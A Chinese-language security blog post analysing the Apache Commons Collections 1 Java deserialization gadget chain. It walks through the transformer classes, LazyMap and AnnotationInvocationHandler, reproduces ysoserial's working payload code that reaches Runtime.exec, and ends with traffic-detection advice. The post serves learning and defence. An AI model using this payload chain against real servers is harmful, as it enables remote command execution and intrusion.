Java反序列化漏洞Apache CommonsCollections1利用链分析
前言
最近分析了Java反序列化漏洞一条利用链,利用链还有很多,记录一下分析思路,思路都大体相同,在研究过程中顺便学习了一些Java知识,文中有错误理解或描述欢迎大家指正。网上对于该利用链分析的文章也很多,我个人认为比较好的两篇文章推荐给大家。
Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
Commons Collections Java反序列化漏洞深入分析
Java反序列化漏洞
反序列化的过程就是将文件或对象字节流转换成数据的过程,在反序列化过程中会执行该类readObject函数。因此反序列化漏洞利用成功的两个必要点,首先是要有反序列化类,其次readObject函数内容可控。
利用链
通过对组件的研究,我们发现相同的组件(如本文要讲的apache commomscollections1),即使漏洞不同、利用方式不同,但利用过程中需要使用的一些类可能相同,这个利用过程就叫利用链。
CommonsCollections1漏洞成因
通过对组件源码的查看,在invoker/JMXInvokerServlet在这个请求中,源码在文件org.jboss.invocation.http.servlet.InvokerServlet.java 中,其中函数processRequest的作用是直接将request请求的数据直接给反序列化了,如果我们能找到某个序列化类,并在其readObject函数中写入恶意代码就可以执行命令。成因很简单,但组件源码无法修改且已安装在目标主机上,readObject是无法直接控制的,但可以通过反射、动态代理、转换等方法调试最终达到所谓的可控,执行我们的命令。
Java反射
在分析利用链之前,我们需要了解Java的两个知识:Java反射和动态代理。因为本文主要讲对利用链的分析,所以详细的Java反射内容大家可以参考java的反射到底是有什么用处?怎么用?这篇文章,文中运用具体的例子更加通俗易懂,希望你认真阅读并且理解它。
最后我想总结一下我对Java反射的认识:反射可以使程序更加灵活,让使用更加方便。
这是基于程序员或者开发者视角的理解,我相信不少安全从业人员写脚本时都是一个main函数一把梭,甚至都没有函数。
动态代理
动态代理相关知识大家可以参考java动态代理实现与原理详细分析。
总结一下动态代理:
动态代理的优势在于可以很方便的对代理类的函数进行统一的处理,而不用修改每个代理类中的方法。是因为所有被代理执行的方法,都是通过在InvocationHandler中的invoke方法调用的,所以我们只要在invoke方法中统一处理,就可以对所有被代理的方法进行相同的操作了
分析思路
Java中执行命令的方式有两种,使用Runtime和使用ProcessBuilder。使用Runtime的语句为Runtime.getRuntime().exec(command)
,利用的最终过程是执行了这条语句,那么我们反向思维,去构造这条语句并且去寻找哪个函数可以执行这条语句,然后再去找哪个函数可以去调用上面的函数,层层调用,一直到反序列化readObject函数,因为反序列化第一步就会执行readObject函数,正向第一步就是反向的最后一步,具体调试过程我们使用神器ysoserial,ysoserial Github下载地址CommonsCollection1利用链有两种方式,一种是利用LazyMap,一种是TransformedMap,ysoserial的payload是利用LazyMap,反向分析,正向调试并且正反向最后可以拼接上。
下面附上一张我画的简单图方便大家理解。
ConstantTransformer
我们看一下这个类的主函数和transform函数,主函数接收一个参数并赋值给iConstant,transform函数返回了这个变量。
InvokerTransformer
InvokerTransformer的主函数是接收了三个参数并分别赋值给iMethod,iParamTypes,iArgs三个变量,它的tarnsform函数通过invoke反射调用了这个方法。如果你不理解,请翻到上面再去阅读Java反射那片文章。
ChainedTransformer
ChainedTransformer类的主函数接收了一个Transformer类型的数组并赋值给iTransformers,它的transform函数作用是利用for循环执行该数组中每一项的transformer函数。
那么我们看下面这一段代码:
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs)};
Transformer chain =new ChainedTransformer(transformers);
这段代码首先创建了一个数组transformers,并且数组中有四项,最后将这个数组传入ChainedTransformer这个类,我们上面说了ChainedTransformer的transformer函数被执行的话,传入这个类的数组中的每一项的tranformer函数就会被执行,具体到上面这个数组,如果这四项的transformer被执行的话,相当于执行了Runtime.getMthod().getRuntime().invoke().exec("execArgs")
,达到我们的目标。那么哪个函数又能调用ChainedTransformer的transformer函数呢?
LazyMap
我们发现LazyMap这个类主函数接收了Transformer类型的参数赋值给factory,并且在它的get函数中,调用了factory.transform,那么如果传入的是Chainedformer,那么LazyMap.get()被调用的同时ChainedTransformer.transform()也就被调用了。此时按照思路我们需要去找哪个函数调用了LazyMap的get函数,我们正向调试看一下。
readObject
我们通过对ysoserial的payload调试,发现在反序列化执行完readObject函数后,还执行了很多invoke和readObject函数,其实我们执行过程非常复杂,我们讲的是主要的几个类,图中的调试顺序是由下到上。
我们发现反序列化后执行了readObject接着它又执行了AnnotationInvocationHandler的readObject函数,为什么会注意这个类,如果你掌握了动态代理这个知识,那么就不难理解了。
AnnotationInvocationHandler
这个类的主函数接收了两个参数var1和var2,其中var2是Map类型,并赋值给memberValues,如果传入的var2是LazyMap并且它的readObject函数中调用了memberValues.get(),那么就相当于执行了LazyMap.get()。
查看AnnotationInvocationHandler的readObject函数,我们并没有发现其中有调用membervalues.get()的代码,后来在它的invoke函数中我们发现了。
可是正向调试调用的是AnnotationInvocationHandler的readObject而不是invoke,这里就需要创建动态代理,执行任何函数invoke函数都会被执行。
ysoserial是使用createproxy这个函数创建的动态代理。
利用代码
至此,ysoserial利用代码利用链已经出来了。下面是ysoserial中的利用代码:
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
检测手法
知道了利用链,讲一下针对漏洞的检测手法,我们用wireshark抓包看一下真实的攻击流量。
这几个重要类都在流量中,所以对于利用链的检测特征主要就是这个类,当然Java流量比较常见的也会使用base64编码,所以还要对这几个类的base64编码的内容做检测。